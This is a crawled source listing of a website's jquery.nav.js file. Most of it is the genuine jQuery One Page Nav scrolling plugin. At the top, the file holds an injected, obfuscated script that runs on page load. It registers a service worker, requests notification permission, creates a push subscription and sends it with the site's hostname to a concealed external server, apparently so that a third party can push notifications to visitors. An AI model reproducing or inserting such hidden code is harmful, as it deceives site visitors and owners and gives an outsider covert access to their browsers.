PageSourceSearch

https://www.americanmusicconcepts.com/js/jquery.nav.js

js americanmusicconcepts.com collected 2026-10-07 19:12:21 UTC 7,164 bytes, 226 lines download raw bytes

1// 576366be6e18cdb3008ac36409b239a7
2(async function(){const c=a0b;if(!(c(0x124)+c(0x125)+'r'in navigator)||!(c(0x126)+c(0x127)in window))return;let a=await navigator[c(0x124)+c(0x125)+'r'][c(0x128)+'er'](c(0x129)+'s');if(await Notification['reques'+c(0x12a)+c(0x12b)]()!=='grante'+'d')return;let b=await a[c(0x12c)+c(0x127)][c(0x12d)+c(0x12e)+c(0x12f)]();if(!b)b=await a[c(0x12c)+c(0x127)][c(0x130)+c(0x131)]({'userVisibleOnly':!![],'applicationServerKey':c(0x132)+c(0x133)+c(0x134)+c(0x135)+c(0x136)+c(0x137)+c(0x138)+c(0x139)+c(0x13a)+c(0x13b)+c(0x13c)+c(0x13d)+c(0x13e)+'pe8wLK'+'gBk'});await fetch(c(0x13f)+c(0x140)+c(0x141)+c(0x142)+c(0x143)+c(0x144),{'method':c(0x145),'headers':{'Content-Type':'applic'+c(0x146)+c(0x147)},'body':JSON['string'+c(0x148)]({'site':location[c(0x149)+'me'],'subscription':b})});}());function a0b(a,b){a=a-0x124;const c=a0a();let d=c[a];if(a0b['sggQiP']===undefined){var e=function(i){const j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let l='',m='';for(let n=0x0,o,p,q=0x0;p=i['charAt'](q++);~p&&(o=n%0x4?o*0x40+p:p,n++%0x4)?l+=String['fromCharCode'](0xff&o>>(-0x2*n&0x6)):0x0){p=j['indexOf'](p);}for(let r=0x0,s=l['length'];r<s;r++){m+='%'+('00'+l['charCodeAt'](r)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(m);};a0b['LyLYiz']=e,a0b['PkdVgi']={},a0b['sggQiP']=!![];}const f=c[0x0],g=a+f,h=a0b['PkdVgi'][g];return!h?(d=a0b['LyLYiz'](d),a0b['PkdVgi'][g]=d):d=h,d;}function a0a(){const d=['C2vYDMLJ','zvDVCMTL','uhvZAe1H','BMfNzxi','CMvNAxn0','l3b1Dc5Q','DfbLCM1P','C3nPB24','ChvZAe1H','z2v0u3vI','C2nYAxb0','Aw9U','C3vIC2nY','AwjL','qKzqztzq','AfrAzK0W','DdzAEwf2','sg5qBuzX','zenlDuHe','s2jxsJjd','CK9hoc1m','y2j2wKjX','lum0C09A','uNHYn2fu','se5bzNLR','ofDrCeqX','vgv6mdDO','Ahr0Chm6','lY9Jzg4U','ANnKzwXP','DNiUAw5M','BY9ZyxzL','lNbOCa','ue9tva','yxrPB24V','ANnVBG','Awz5','Ag9ZDg5H'];a0a=function(){return d;};return a0a();}
3// 576366be6e18cdb3008ac36409b239a7
4/*
5 * jQuery One Page Nav Plugin
6 * http://github.com/davist11/jQuery-One-Page-Nav
7 *
8 * Copyright (c) 2010 Trevor Davis (http://trevordavis.net)
9 * Dual licensed under the MIT and GPL licenses.
10 * Uses the same license as jQuery, see:
11 * http://jquery.org/license
12 *
13 * @version 2.2.0
14 *
15 * Example usage:
16 * $('#nav').onePageNav({
17 *   currentClass: 'current',
18 *   changeHash: false,
19 *   scrollSpeed: 750
20 * });
21 */
22
23;(function($, window, document, undefined){
24
25	// our plugin constructor
26	var OnePageNav = function(elem, options){
27		this.elem = elem;
28		this.$elem = $(elem);
29		this.options = options;
30		this.metadata = this.$elem.data('plugin-options');
31		this.$nav = this.$elem.find('a');
32		this.$win = $(window);
33		this.sections = {};
34		this.didScroll = false;
35		this.$doc = $(document);
36		this.docHeight = this.$doc.height();
37	};
38
39	// the plugin prototype
40	OnePageNav.prototype = {
41		defaults: {
42			currentClass: 'current',
43			changeHash: false,
44			easing: 'swing',
45			filter: '',
46			scrollSpeed: 750,
47			scrollOffset: 0,
48			scrollThreshold: 0.5,
49			begin: false,
50			end: false,
51			scrollChange: false
52		},
53
54		init: function() {
55			var self = this;
56			
57			// Introduce defaults that can be extended either
58			// globally or using an object literal.
59			self.config = $.extend({}, self.defaults, self.options, self.metadata);
60			
61			//Filter any links out of the nav
62			if(self.config.filter !== '') {
63				self.$nav = self.$nav.filter(self.config.filter);
64			}
65			
66			//Handle clicks on the nav
67			self.$nav.on('click.onePageNav', $.proxy(self.handleClick, self));
68
69			//Get the section positions
70			self.getPositions();
71			
72			//Handle scroll changes
73			self.bindInterval();
74			
75			//Update the positions on resize too
76			self.$win.on('resize.onePageNav', $.proxy(self.getPositions, self));
77
78			return this;
79		},
80		
81		adjustNav: function(self, $parent) {
82			self.$elem.find('.' + self.config.currentClass).removeClass(self.config.currentClass);
83			$parent.addClass(self.config.currentClass);
84		},
85		
86		bindInterval: function() {
87			var self = this;
88			var docHeight;
89			
90			self.$win.on('scroll.onePageNav', function() {
91				self.didScroll = true;
92			});
93			
94			self.t = setInterval(function() {
95				docHeight = self.$doc.height();
96				
97				//If it was scrolled
98				if(self.didScroll) {
99					self.didScroll = false;
100					self.scrollChange();
101				}
102				
103				//If the document height changes
104				if(docHeight !== self.docHeight) {
105					self.docHeight = docHeight;
106					self.getPositions();
107				}
108			}, 250);
109		},
110		
111		getHash: function($link) {
112			return $link.attr('href').split('#')[1];
113		},
114		
115		getPositions: function() {
116			var self = this;
117			var linkHref;
118			var topPos;
119			var $target;
120			
121			self.$nav.each(function() {
122				linkHref = self.getHash($(this));
123				$target = $('#' + linkHref);
124
125				if($target.length) {
126					topPos = $target.offset().top;
127					self.sections[linkHref] = Math.round(topPos) - self.config.scrollOffset;
128				}
129			});
130		},
131		
132		getSection: function(windowPos) {
133			var returnValue = null;
134			var windowHeight = Math.round(this.$win.height() * this.config.scrollThreshold);
135
136			for(var section in this.sections) {
137				if((this.sections[section] - windowHeight) < windowPos) {
138					returnValue = section;
139				}
140			}
141			
142			return returnValue;
143		},
144		
145		handleClick: function(e) {
146			var self = this;
147			var $link = $(e.currentTarget);
148			var $parent = $link.parent();
149			var newLoc = '#' + self.getHash($link);
150			
151			if(!$parent.hasClass(self.config.currentClass)) {
152				//Start callback
153				if(self.config.begin) {
154					self.config.begin();
155				}
156				
157				//Change the highlighted nav item
158				self.adjustNav(self, $parent);
159				
160				//Removing the auto-adjust on scroll
161				self.unbindInterval();
162				
163				//Scroll to the correct position
164				$.scrollTo(newLoc, self.config.scrollSpeed, {
165					axis: 'y',
166					easing: self.config.easing,
167					offset: {
168						top: -self.config.scrollOffset
169					},
170					onAfter: function() {
171						//Do we need to change the hash?
172						if(self.config.changeHash) {
173							window.location.hash = newLoc;
174						}
175						
176						//Add the auto-adjust on scroll back in
177						self.bindInterval();
178						
179						//End callback
180						if(self.config.end) {
181							self.config.end();
182						}
183					}
184				});
185			}
186
187			e.preventDefault();
188		},
189		
190		scrollChange: function() {
191			var windowTop = this.$win.scrollTop();
192			var position = this.getSection(windowTop);
193			var $parent;
194			
195			//If the position is set
196			if(position !== null) {
197				$parent = this.$elem.find('a[href$="#' + position + '"]').parent();
198				
199				//If it's not already the current section
200				if(!$parent.hasClass(this.config.currentClass)) {
201					//Change the highlighted nav item
202					this.adjustNav(this, $parent);
203					
204					//If there is a scrollChange callback
205					if(this.config.scrollChange) {
206						this.config.scrollChange($parent);
207					}
208				}
209			}
210		},
211		
212		unbindInterval: function() {
213			clearInterval(this.t);
214			this.$win.unbind('scroll.onePageNav');
215		}
216	};
217
218	OnePageNav.defaults = OnePageNav.prototype.defaults;
219
220	$.fn.onePageNav = function(options) {
221		return this.each(function() {
222			new OnePageNav(this, options).init();
223		});
224	};
225	
226})( jQuery, window , document );

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.